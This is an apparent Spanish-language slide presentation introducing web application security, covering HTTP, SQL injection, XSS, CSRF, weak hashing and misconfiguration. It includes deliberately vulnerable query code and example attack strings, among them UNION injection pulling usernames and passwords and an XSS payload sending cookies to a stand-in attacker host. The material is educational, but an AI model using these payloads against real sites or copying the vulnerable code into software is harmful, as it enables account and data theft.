Post on 12-Jun-2015
Seguridad de Aplicaciones Web
Everth Juvenal Gallegos Puma
¿Que es un aplicacion web?
En la ingeniería de software se denomina aplicación web a aquellas aplicaciones que los usuarios pueden utilizar accediendo a un servidor web a través de Internet o de una intranet mediante un navegador. En otras palabras, es una aplicación software que se codifica en un lenguaje soportado por los navegadores web en la que se confía la ejecución al navegador.
Arquitectura de una AppWeb
http://areyouahuman.com/
HTTP● protocolo de transferencia de hipertexto.
● Ejemplo:
Cliente:
GET /index.php HTTP/1.1
Host: www.example.com
User-Agent: nombre-cliente
Cookie:phpsession=12aba789491279912
Connection: Close
Servidor:
HTTP/1.1 200 OK
Date: Fri, 31 Dec 2011 23:59:59 GMT
Content-Type: text/html
Content-Length: 1221
<html>
<body>
<h1>Página principal de tuHost</h1>
¿A que nos enfrentamos?
¿Por donde empezamos?
¿Qué son los riesgos de seguridad en aplicaciones?
Algunos Ejemplos
● SQL Injeccion: Injeccion de codigo sql en consultas
codigo vulnerable
C#:
SqlCommand cmd = new SqlCommand("SELECT * FROM noticias WHERE id = '" +Request.QueryString(“id”) + "'", con);
using( SqlDataReader rdr = cmd.ExecuteReader() );
Java:
Statement stmt = con.createStatement();
ResultSet rset = stmt.executeQuery("SELECT * FROM noticias WHERE id = '" + request.getParameter(“id”) + "';");
PHP:
$query_result = mysql_query("SELECT * FROM noticias WHERE id = '" . $_GET[“id”]. "'");
● Testing
http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=1
internamente:
Select * from noticias where id=1 and 1=1
“muestra contenido”
http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=2
internamente:
Select * from noticias where id=1 and 1=2
“No muestra Contenido”
● Ataque
allar el numero de columnas
http://ejemplo.com/noticias.php|asp|jsp?id=1 order by 1,2,..etc
hacer consultas
http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables
http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables.
Consula a la tabla de usuario
http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,usuario,password,5,..,etc from usuario
● XSS:
ataque del lado del cliente para injectar codigo html, javascript.
Codigo Vulnerable:
C#:
response.write(request.querystring(“msg”));
JAVA:
out.println(request.getParameter(“msg”));
PHP:
echo $_GET[“msg”];
● Testing:
http://ejemplo.com/buscar.php|asp|jsp?msg=<h1>Hola</h1>.
● Ataque:
http://ejemplo.com/buscar.php|asp|jsp?msg=document.location=http://juaker.com/xss.php?datos=document.cookie;
● Falcificacion de peticiones:
Ataque:
<a href=”http://mipagina.com/resert.php?
user=admin&newpass=admin”>Gana dinero con un click</a>.
● Almacenamiento Criptográfico Inseguro
“cifrar adecuadamente datos importantes”
ejemplo
passcifrado=md5(salt+passoriginal);
Defectuosa Configuracion de Seguridad:
Ejemplo
aspx:
Padding oracle:Exposicion de codigo remotamente
PHP:
php en modo cgi:Exposicion y ejecucion de codigo remoto
● Errores de capa 8:
Usuarios descuidados
contraseñas debiles
archivos de respaldo no borrados.
Gracias¿Preguntas?
Everth.gallegos@gmail.com